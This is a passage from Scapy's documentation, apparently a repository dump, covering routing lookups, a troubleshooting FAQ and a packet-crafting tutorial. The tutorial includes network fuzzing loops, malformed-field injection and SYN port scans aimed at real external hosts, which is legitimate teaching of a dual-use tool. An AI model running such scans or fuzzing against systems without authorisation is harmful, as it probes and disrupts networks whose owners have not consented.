python\n\n    >>> conf.ifaces.dev_from_networkname(\"sshdump\").get_extcap_config()\n\n.. todo:: The sections below can be greatly improved.\n\nIPv4 routes\n-----------\n\n.. note::\n    If you want to change or edit the routes, have a look at `the \"Routing\" section in Usage <usage.html#routing>`_\n\nThe routes are stores in :py:attr:`conf.route <scapy.route.Route>`. You can use it to display the routes, or get specific routing\n\n.. code-block:: pycon\n\n    >>> conf.route\n\n    Network          Netmask          Gateway   Iface  Output IP  Metric\n    0.0.0.0          0.0.0.0          10.0.0.1  eth0   10.0.0.5   100\n    10.0.0.0         255.255.255.0    0.0.0.0   eth0   10.0.0.5   0\n    127.0.0.0        255.0.0.0        0.0.0.0   lo     127.0.0.1  1\n    168.63.129.16    255.255.255.255  10.0.0.1  eth0   10.0.0.5   100\n    169.254.169.254  255.255.255.255  10.0.0.1  eth0   10.0.0.5   100\n\nGet the route for a specific IP:  :py:func:`conf.route.route() <scapy.route.Route.route>` will return ``(interface, outgoing_ip, gateway)``\n\n.. code-block:: pycon\n\n    >>> conf.route.route(\"127.0.0.1\")\n    ('lo', '127.0.0.1', '0.0.0.0')\n\nIPv6 routes\n-----------\n\nSame as IPv4 but with :py:attr:`conf.route6 <scapy.route6.Route6>`\n\nGet default gateway IP address\n------------------------------\n\n.. code-block:: pycon\n\n    >>> gw = conf.route.route(\"0.0.0.0\")[2]\n    >>> gw\n    '10.0.0.1'\n\nGet the IP of an interface\n--------------------------\n\nUse ``conf.iface``\n\n.. code-block:: pycon\n\n    >>> ip = get_if_addr(conf.iface)  # default interface\n    >>> ip = get_if_addr(\"eth0\")\n    >>> ip\n    '10.0.0.5'\n\nGet the MAC of an interface\n---------------------------\n\n.. code-block:: pycon\n\n    >>> mac = get_if_hwaddr(conf.iface)  # default interface\n    >>> mac = get_if_hwaddr(\"eth0\")\n    >>> mac\n    '54:3f:19:c9:38:6d'\n\nGet MAC address of the next hop to reach an IP\n----------------------------------------------\n\nThis basically performs a cached ARP who-has when the IP is on the same local link,\nreturns the MAC of the gateway when it's not, and handle special cases like multicast.\n\n.. code-block:: pycon\n\n    >>> mac = getmacbyip(\"10.0.0.1\")\n    >>> mac\n    'f3:ae:5e:76:31:9b'\n\n"
  },
  {
    "path": "doc/scapy/troubleshooting.rst",
    "content": "***************\nTroubleshooting\n***************\n\nFAQ\n===\n\nI can't sniff/inject packets in monitor mode.\n---------------------------------------------\n\nThe use monitor mode varies greatly depending on the platform, reasons are explained on the `Wireshark wiki <https://wiki.wireshark.org/CaptureSetup/WLAN>`_:\n\n    *Unfortunately, changing the 802.11 capture modes is very platform/network adapter/driver/libpcap dependent, and might not be possible at all (Windows is very limited here).*\n\nHere is some guidance on how to properly use monitor mode with Scapy:\n\n- **Using Libpcap (or Npcap)**:\n    ``libpcap`` must be called differently by Scapy in order for it to create the sockets in monitor mode. You will need to pass the ``monitor=True`` to any calls that open a socket (``send``, ``sniff``...) or to a Scapy socket that you create yourself (``conf.L2Socket``...)\n\n    **On Windows**, you additionally need to turn on monitor mode on the WiFi card, use::\n\n        # Of course, conf.iface can be replaced by any interfaces accessed through conf.ifaces\n        >>> conf.iface.setmonitor(True)\n\n- **Native Linux (with libpcap disabled):**\n    You should set the interface in monitor mode on your own. The easiest way to do that is to use ``airmon-ng``::\n\n        $ sudo airmon-ng start wlan0\n    \n    You can also use::\n\n        $ iw dev wlan0 interface add mon0 type monitor\n        $ ifconfig mon0 up\n\n    If you want to enable monitor mode manually, have a look at https://wiki.wireshark.org/CaptureSetup/WLAN#linux\n\n.. warning:: **If you are using Npcap:** please note that Npcap ``npcap-0.9983`` broke the 802.11 support until ``npcap-1.3.0``. Avoid using those versions.\n\nWe make our best to make this work, if your adapter works with Wireshark for instance, but not with Scapy, feel free to report an issue.\n\nMy TCP connections are reset by Scapy or by my kernel.\n------------------------------------------------------\nThe kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls.\n\nI can't ping 127.0.0.1 (or ::1). Scapy does not work with 127.0.0.1 (or ::1) on the loopback interface.\n-------------------------------------------------------------------------------------------------------\n\nThe loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with ```tcpdump -i lo``` is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it.\n\n.. note:: Starting from Scapy > **2.5.0**, Scapy will automatically use ``L3RawSocket`` when necessary when using L3-functions (sr-like) on the loopback interface, when libpcap is not in use.\n\n**On Linux**, in order to speak to local IPv4 applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux)::\n\n    >>> conf.L3socket\n    <class __main__.L3PacketSocket at 0xb7bdf5fc>\n    >>> conf.L3socket = L3RawSocket\n    >>> sr1(IP() / ICMP())\n    <IP  version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>\n\nWith IPv6, you can simply do::\n\n    # Layer 3\n    >>> sr1(IPv6() / ICMPv6EchoRequest())\n    <IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>\n\n    # Layer 2\n    >>> srp1(Ether() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name)\n    <Ether  dst=00:00:00:00:00:00 src=00:00:00:00:00:00 type=IPv6 |<IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>>\n\n.. warning::\n    On Linux, libpcap does not support loopback IPv4 pings:\n        >>> conf.use_pcap = True\n        >>> sr1(IP() / ICMP())\n        Begin emission:\n        Finished sending 1 packets.\n        .....................................\n\n    You can disable libpcap using ``conf.use_pcap = False`` or bypass it on layer 3 using ``conf.L3socket = L3RawSocket``.\n\n**On Windows, BSD, and macOS**, you must deactivate/configure the local firewall prior to using the following commands::\n\n    # Layer 3\n    >>> sr1(IP() / ICMP())\n    <IP  version=4L ihl=5L tos=0x0 len=28 id=40953 flags= frag=0L ttl=64 proto=ICMP chksum=0xdce5 src=127.0.0.1 dst=127.0.0.1 options='' |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>\n    >>> sr1(IPv6() / ICMPv6EchoRequest())\n    <IPv6  version=6 tc=0 fl=866674 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>\n\n    # Layer 2\n    >>> srp1(Loopback() / IP() / ICMP(), iface=conf.loopback_name)\n    <Loopback  type=IPv4 |<IP  version=4 ihl=5 tos=0x0 len=28 id=56066 flags= frag=0 ttl=64 proto=icmp chksum=0x0 src=127.0.0.1 dst=127.0.0.1 |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |>>>\n    >>> srp1(Loopback() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name)\n    <Loopback  type=IPv6 |<IPv6  version=6 tc=0 fl=0 plen=8 nh=ICMPv6 hlim=64 src=::1 dst=::1 |<ICMPv6EchoReply  type=Echo Reply code=0 cksum=0x7ebb id=0x0 seq=0x0 |>>>\n\nGetting 'failed to set hardware filter to promiscuous mode' error\n-----------------------------------------------------------------\n\nDisable promiscuous mode::\n\n    conf.sniff_promisc = False\n\nScapy says there are 'Winpcap/Npcap conflicts'\n----------------------------------------------\n\n**On Windows**, as ``Winpcap`` is becoming old, it's recommended to use ``Npcap`` instead. ``Npcap`` is part of the ``Nmap`` project.\n\n.. note::\n    This does NOT apply for Windows XP, which isn't supported by ``Npcap``. On XP, uninstall ``Npcap`` and keep ``Winpcap``.\n\n1. If you get the message ``'Winpcap is installed over Npcap.'`` it means that you have installed both Winpcap and Npcap versions, which isn't recommended.\n\nYou may first **uninstall winpcap from your Program Files**, then you will need to remove some files that are not deleted by the ``Winpcap`` uninstaller::\n\n    C:/Windows/System32/wpcap.dll\n    C:/Windows/System32/Packet.dll\n\nAnd if you are on an x64 machine, additionally the 32-bit variants::\n\n   C:/Windows/SysWOW64/wpcap.dll\n   C:/Windows/SysWOW64/Packet.dll\n\nOnce that is done, you'll be able to use ``Npcap`` properly.\n\n2. If you get the message ``'The installed Windump version does not work with Npcap'`` it means that you have probably installed an old version of ``Windump``, made for ``Winpcap``.\nDownload the one compatible with ``Npcap`` on https://github.com/hsluoyz/WinDump/releases\n\nIn some cases, it could also mean that you had installed both ``Npcap`` and ``Winpcap``, and that the Npcap ``Windump`` is using ``Winpcap``. Fully delete ``Winpcap`` using the above method to solve the problem.\n\n\nBPF filters do not work. I'm on a ppp link\n------------------------------------------\n\nThis is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets).\n\ntraceroute() does not work. I'm on a ppp link\n---------------------------------------------\n\nThis is a known bug. See BPF filters do not work. I'm on a ppp link\n\nTo work around this, use ``nofilter=1``::\n\n    >>> traceroute(\"target\", nofilter=1)\n\n\nGraphs are ugly/fonts are too big/image is truncated.\n-----------------------------------------------------\n\nQuick fix: use png format::\n\n   >>> x.graph(format=\"png\")\n      \nUpgrade to latest version of GraphViz.\n\nTry providing different DPI options (50,70,75,96,101,125, for instance)::\n\n   >>> x.graph(options=\"-Gdpi=70\")\n\nIf it works, you can make it permanenent::\n\n   >>> conf.prog.dot = \"dot -Gdpi=70\"\n\nYou can also put this line in your ``~/.scapy_startup.py`` file \n\n\nGetting help\n============\n\nCommon problems are answered in the FAQ.\n\nIf you need additional help, please check out:\n\n* The `Gitter channel <https://gitter.im/secdev/scapy>`_\n* The `GitHub repository <https://github.com/secdev/scapy/>`_\n\nThere's also a low traffic mailing list at ``scapy.ml(at)secdev.org``  (`archive <http://news.gmane.org/gmane.comp.security.scapy.general>`_, `RSS, NNTP <http://gmane.org/info.php?group=gmane.comp.security.scapy.general>`_).\nSubscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``.\n\nYou are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc.\n"
  },
  {
    "path": "doc/scapy/usage.rst",
    "content": "*****\nUsage\n*****\n\nStarting Scapy\n==============\n\nScapy's interactive shell is run in a terminal session. Root privileges are needed to\nsend the packets, so we're using ``sudo`` here::\n  \n    $ sudo scapy -H\n    Welcome to Scapy (2.4.0)\n    >>> \n\nOn Windows, please open a command prompt (``cmd.exe``) and make sure that you have \nadministrator privileges::\n\n    C:\\>scapy\n    Welcome to Scapy (2.4.0)\n    >>>\n\nIf you do not have all optional packages installed, Scapy will inform you that \nsome features will not be available:: \n                                 \n    INFO: Can't import python matplotlib wrapper. Won't be able to plot.\n    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().\n\nThe basic features of sending and receiving packets should still work, though. \n\nInteractive tutorial\n====================\n\nThis section will show you several of Scapy's features with Python 2.\nJust open a Scapy session as shown above and try the examples yourself.\n\n.. note:: You can configure the Scapy terminal by modifying the ``~/.config/scapy/prestart.py`` file.\n\nFirst steps\n-----------\n\nLet's build a packet and play with it::\n\n    >>> a=IP(ttl=10) \n    >>> a \n    < IP ttl=10 |> \n    >>> a.src \n    ’127.0.0.1’ \n    >>> a.dst=\"192.168.1.1\" \n    >>> a \n    < IP ttl=10 dst=192.168.1.1 |> \n    >>> a.src \n    ’192.168.8.14’ \n    >>> del(a.ttl) \n    >>> a \n    < IP dst=192.168.1.1 |> \n    >>> a.ttl \n    64 \n\nStacking layers\n---------------\n\nThe ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.\n\n::\n\n    >>> IP()\n    <IP |>\n    >>> IP()/TCP()\n    <IP frag=0 proto=TCP |<TCP |>>\n    >>> Ether()/IP()/TCP()\n    <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>\n    >>> IP()/TCP()/\"GET / HTTP/1.0\\r\\n\\r\\n\"\n    <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\\r\\n\\r\\n' |>>>\n    >>> Ether()/IP()/IP()/UDP()\n    <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>\n    >>> IP(proto=55)/TCP()\n    <IP frag=0 proto=55 |<TCP |>>\n\n\n.. image:: graphics/fieldsmanagement.png\n   :scale: 90\n\nEach packet can be built or dissected (note: in Python ``_`` (underscore) is the latest result)::\n\n    >>> raw(IP())\n    'E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01'\n    >>> IP(_)\n    <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP\n     chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>\n    >>>  a=Ether()/IP(dst=\"www.slashdot.org\")/TCP()/\"GET /index.html HTTP/1.0 \\n\\n\"\n    >>>  hexdump(a)   \n    00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.\n    00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#\n    FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.\n    20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index\n    2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .\n    0A                                               .\n    >>> b=raw(a)\n    >>> b\n    '\\x00\\x02\\x157\\xa2D\\x00\\xae\\xf3R\\xaa\\xd1\\x08\\x00E\\x00\\x00C\\x00\\x01\\x00\\x00@\\x06x<\\xc0\n     \\xa8\\x05\\x15B#\\xfa\\x97\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\n     \\xbb9\\x00\\x00GET /index.html HTTP/1.0 \\n\\n'\n    >>> c=Ether(b)\n    >>> c\n    <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L\n     ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c\n     src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L\n     ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0\n     options=[] |<Raw load='GET /index.html HTTP/1.0 \\n\\n' |>>>>\n\nWe see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default::\n\n    >>> c.hide_defaults()\n    >>> c\n    <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67\n     frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L\n     chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \\n\\n' |>>>>\n\nReading PCAP files\n------------------\n\n.. index::\n   single: rdpcap()\n\nYou can read packets from a pcap file and write them to a pcap file. \n\n    >>> a=rdpcap(\"/spare/captures/isakmp.cap\")\n    >>> a\n    <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>\n\nGraphical dumps (PDF, PS)\n-------------------------\n\n.. index::\n   single: pdfdump(), psdump()\n\nIf you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...)::\n\n    >>> a[423].pdfdump(layer_shift=1)\n    >>> a[423].psdump(\"/tmp/isakmp_pkt.eps\",layer_shift=1)\n    \n.. image:: graphics/isakmp_dump.png\n\n\n\n=======================   ====================================================\nCommand                   Effect\n=======================   ====================================================\nraw(pkt)                  assemble the packet\nhexdump(pkt)              have a hexadecimal dump \nls(pkt)                   have the list of fields values \npkt.summary()             for a one-line summary \npkt.show()                for a developed view of the packet \npkt.show2()               same as show but on the assembled packet (checksum is calculated, for instance) \npkt.sprintf()             fills a format string with fields values of the packet \npkt.decode_payload_as()   changes the way the payload is decoded \npkt.psdump()              draws a PostScript diagram with explained dissection \npkt.pdfdump()             draws a PDF with explained dissection \npkt.command()             return a Scapy command that can generate the packet \npkt.json()                return a JSON string representing the packet\n=======================   ====================================================\n\n\n\nGenerating sets of packets\n--------------------------\n\nFor the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly defines a set of packets, generated using a kind of cartesian product between all the fields.\n\n::\n\n    >>> a=IP(dst=\"www.slashdot.org/30\")\n    >>> a\n    <IP  dst=Net('www.slashdot.org/30') |>\n    >>> [p for p in a]\n    [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,\n     <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]\n    >>> b=IP(ttl=[1,2,(5,9)])\n    >>> b\n    <IP ttl=[1, 2, (5, 9)] |>\n    >>> [p for p in b]\n    [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, \n     <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]\n    >>> c=TCP(dport=[80,443])\n    >>> [p for p in a/c]\n    [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,\n     <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]\n\nSome operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.\n\nOn the other hand, it is possible to move sets of packets into a `PacketList` object, which provides some operations on lists of packets.\n\n::\n\n    >>> p = PacketList(a)\n    >>> p\n    <PacketList: TCP:0 UDP:0 ICMP:0 Other:4>\n    >>> p = PacketList([p for p in a/c])\n    >>> p\n    <PacketList: TCP:8 UDP:0 ICMP:0 Other:0>\n\n===============  ====================================================\nCommand          Effect\n===============  ====================================================\nsummary()        displays a list of summaries of each packet \nnsummary()       same as previous, with the packet number \nconversations()  displays a graph of conversations \nshow()           displays the preferred representation (usually nsummary()) \nfilter()         returns a packet list filtered with a lambda function \nhexdump()        returns a hexdump of all packets \nhexraw()         returns a hexdump of the Raw layer of all packets \npadding()        returns a hexdump of packets with padding \nnzpadding()      returns a hexdump of packets with non-zero padding \nplot()           plots a lambda function applied to the packet list \nmake\\_table()    displays a table according to a lambda function \n===============  ====================================================\n\n\n\nSending packets\n---------------\n\n.. index::\n   single: Sending packets, send\n   \nNow that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say, it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.\n\n::\n\n    >>> send(IP(dst=\"1.2.3.4\")/ICMP())\n    .\n    Sent 1 packets.\n    >>> sendp(Ether()/IP(dst=\"1.2.3.4\",ttl=(1,4)), iface=\"eth1\")\n    ....\n    Sent 4 packets.\n    >>> sendp(\"I'm travelling on Ethernet\", iface=\"eth1\", loop=1, inter=0.2)\n    ................^C\n    Sent 16 packets.\n    >>> sendp(rdpcap(\"/tmp/pcapfile\")) # tcpreplay\n    ...........\n    Sent 11 packets.\n    \n    Returns packets sent by send()\n    >>> send(IP(dst='127.0.0.1'), return_packets=True)\n    .\n    Sent 1 packets.\n    <PacketList: TCP:0 UDP:0 ICMP:0 Other:1>\n\n.. _multicast:\n\nMulticast on layer 3: Scope Identifiers\n---------------------------------------\n\n.. index::\n   single: Multicast\n\n.. note:: This feature is only available since Scapy 2.6.0.\n\nIf you try to use multicast addresses (IPv4) or link-local addresses (IPv6), you'll notice that Scapy follows the routing table and takes the first entry. In order to specify which interface to use when looking through the routing table, Scapy supports scope identifiers (similar to RFC6874 but for both IPv6 and IPv4).\n\n.. code:: python\n\n    >>> conf.checkIPaddr = False  # answer IP will be != from the one we requested\n    # send on interface 'eth0'\n    >>> sr(IP(dst=\"224.0.0.1%eth0\")/ICMP(), multi=True)\n    >>> sr(IPv6(dst=\"ff02::1%eth0\")/ICMPv6EchoRequest(), multi=True)\n\nYou can use both ``%eth0`` format or ``%15`` (the interface id) format. You can query those using ``conf.ifaces``.\n\n.. note::\n\n   Behind the scene, calling ``IP(dst=\"224.0.0.1%eth0\")`` creates a ``ScopedIP`` object that contains ``224.0.0.1`` on the scope of the interface ``eth0``. If you are using an interface object (for instance ``conf.iface``), you can also craft that object. For instance::\n        >>> pkt = IP(dst=ScopedIP(\"224.0.0.1\", scope=conf.iface))/ICMP()\n\nFuzzing\n-------\n\n.. index::\n   single: fuzz(), fuzzing\n\nThe function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().::\n\n    >>> send(IP(dst=\"target\")/fuzz(UDP()/NTP(version=4)),loop=1)\n    ................^C\n    Sent 16 packets.\n\nInjecting bytes\n---------------\n\n.. index::\n   single: RawVal\n\nIn a packet, each field has a specific type. For instance, the length field of the IP packet ``len`` expects an integer. More on that later. If you're developing a PoC, there are times where you'll want to inject some value that doesn't fit that type. This is possible using ``RawVal``\n\n.. code::\n\n    >>> pkt = IP(len=RawVal(b\"NotAnInteger\"), src=\"127.0.0.1\")\n    >>> bytes(pkt)\n    b'H\\x00NotAnInt\\x0f\\xb3er\\x00\\x01\\x00\\x00@\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00'\n\nSend and receive packets (sr)\n-----------------------------\n\n.. index::\n   single: sr()\n\nNow, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is no response, a None value will be assigned instead when the timeout is reached.\n\n::\n\n    >>> p = sr1(IP(dst=\"www.slashdot.org\")/ICMP()/\"XXXXXXXXXXX\")\n    Begin emission:\n    ...Finished to send 1 packets.\n    .*\n    Received 5 packets, got 1 answers, remaining 0 packets\n    >>> p\n    <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP\n     chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply\n     code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'\n     |<Padding load='\\x00\\x00\\x00\\x00' |>>>>\n    >>> p.show()\n    ---[ IP ]---\n    version   = 4L\n    ihl       = 5L\n    tos       = 0x0\n    len       = 39\n    id        = 15489\n    flags     = \n    frag      = 0L\n    ttl       = 42\n    proto     = ICMP\n    chksum    = 0x51dd\n    src       = 66.35.250.151\n    dst       = 192.168.5.21\n    options   = ''\n    ---[ ICMP ]---\n       type      = echo-reply\n       code      = 0\n       chksum    = 0xee45\n       id        = 0x0\n       seq       = 0x0\n    ---[ Raw ]---\n          load      = 'XXXXXXXXXXX'\n    ---[ Padding ]---\n             load      = '\\x00\\x00\\x00\\x00'\n\n\n.. index::\n   single: DNS, Etherleak\n\nA DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw::\n\n    >>> sr1(IP(dst=\"192.168.5.1\")/UDP()/DNS(rd=1,qd=DNSQR(qname=\"www.slashdot.org\")))\n    Begin emission:\n    Finished to send 1 packets.\n    ..*\n    Received 3 packets, got 1 answers, remaining 0 packets\n    <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38\n     src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d\n     |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1\n     nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> \n     an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>\n     ns=0 ar=0 |<Padding load='\\xc6\\x94\\xc7\\xeb' |>>>>\n\nThe \"send'n'receive\" functions family is the heart of Scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions::\n\n    >>> sr(IP(dst=\"192.168.8.1\")/TCP(dport=[21,22,23]))\n    Received 6 packets, got 3 answers, remaining 0 packets\n    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)\n    >>> ans, unans = _\n    >>> ans.summary()\n    IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding\n    IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding\n    IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding\n    \nIf there is a limited rate of answers, you can specify a time interval (in seconds) to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, Scapy will try to resend unanswered packets 3 times. If retry is -3, Scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent::\n\n    >>> sr(IP(dst=\"172.20.29.5/30\")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)\n    Begin emission:\n    Finished to send 12 packets.\n    Begin emission:\n    Finished to send 9 packets.\n    Begin emission:\n    Finished to send 9 packets.\n    \n    Received 100 packets, got 3 answers, remaining 9 packets\n    (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)\n\n\nSYN Scans\n---------\n\n.. index::\n   single: SYN Scan\n\nClassic SYN Scan can be initialized by executing the following command from Scapy's prompt::\n\n    >>> sr1(IP(dst=\"72.14.207.99\")/TCP(dport=80,flags=\"S\"))\n\nThe above will send a single SYN packet to Google's port 80 and will quit after receiving a single response::\n\n    Begin emission:\n    .Finished to send 1 packets.\n    *\n    Received 2 packets, got 1 answers, remaining 0 packets\n    <IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244\n    proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |\n    <TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L\n    flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |\n    <Padding  load='V\\xf7' |>>>\n\nFrom the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.\n\nUse either notations to scan ports 440 through 443 on the system:\n\n    >>> sr(IP(dst=\"192.168.1.1\")/TCP(sport=666,dport=(440,443),flags=\"S\"))\n\nor\n\n    >>> sr(IP(dst=\"192.168.1.1\")/TCP(sport=RandShort(),dport=[440,441,442,443],flags=\"S\"))\n\nIn order to quickly review responses simply request a summary of collected packets::\n\n    >>> ans, unans = _\n    >>> ans.summary()\n    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding\n    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding\n    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding\n    IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding\n\nThe above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:\n\n    >>> ans.summary( lambda s,r: r.sprintf(\"%TCP.sport% \\t %TCP.flags%\") )\n    440      RA\n    441      RA\n    442      RA\n    https    SA\n\nEven better, a table can be built using the ``make_table()`` function to display information about multiple targets::\n\n    >>> ans, unans = sr(IP(dst=[\"192.168.1.1\",\"yahoo.com\",\"slashdot.org\"])/TCP(dport=[22,80,443],flags=\"S\"))\n    Begin emission:\n    .......*.**.......Finished 